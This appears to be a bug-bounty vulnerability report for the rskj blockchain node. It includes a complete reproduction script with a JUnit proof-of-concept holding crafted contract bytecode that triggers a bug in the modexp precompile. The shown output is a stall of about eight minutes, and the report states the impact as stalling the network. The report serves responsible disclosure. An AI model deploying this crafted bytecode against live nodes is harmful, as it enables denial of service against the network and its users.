Crafted smart contract can take 8 minutes to execute due to bug in modexp precompile.

How it was found

Summary:

A bug in the modexp precompile can cause long stalls.

Steps To Reproduce:

Tested on Linux x64.

#!/bin/bash

wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
./configure.sh
echo """
package co.rsk.vm;

import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import org.ethereum.vm.*;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import java.util.HashSet;
import org.ethereum.vm.program.Program;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;

public class Poc {
    @Test
    void testPoc() {
        TestSystemProperties config = new TestSystemProperties();
        PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
        BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
        VmConfig vmConfig = config.getVmConfig();
        ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
        ActivationConfig.ForBlock activations = ActivationConfigsForTest.fingerroot500().forBlock(0);

        byte[] code = DatatypeConverter.parseHexBinary(\"3332335b59313660d53d601c30303030333333333d601c30303030333333333333321b1b1b1b325b593136605858425a606052015952601d52609880808060006000600536f1603d3333321b1b1b1b32365b3159605858425a606052015952601d52609880808060006000600536f1603d313880813b60003960006000f50a30303030303030\");

        invoke.setGas(1000 * 1000 * 5);
        VM vm = new VM(vmConfig, precompiledContracts);
        Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke,null, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));

        for (int k = 0; k < 250; k++) {
            vm.step(program);
        }
    }
}
""">rskj-core/src/test/java/co/rsk/vm/Poc.java

# This will likely fail due to a java.lang.OutOfMemoryError exception
time ./gradlew test  --tests co.rsk.vm.Poc.testPoc

# Increase test heap size
sed -i 's/Xmx3G/Xmx10G/g' rskj-core/build.gradle

# Run again
time ./gradlew test  --tests co.rsk.vm.Poc.testPoc

Output:

real    8m23.429s
user    0m3.147s
sys	0m0.265s

Impact

Stall the network.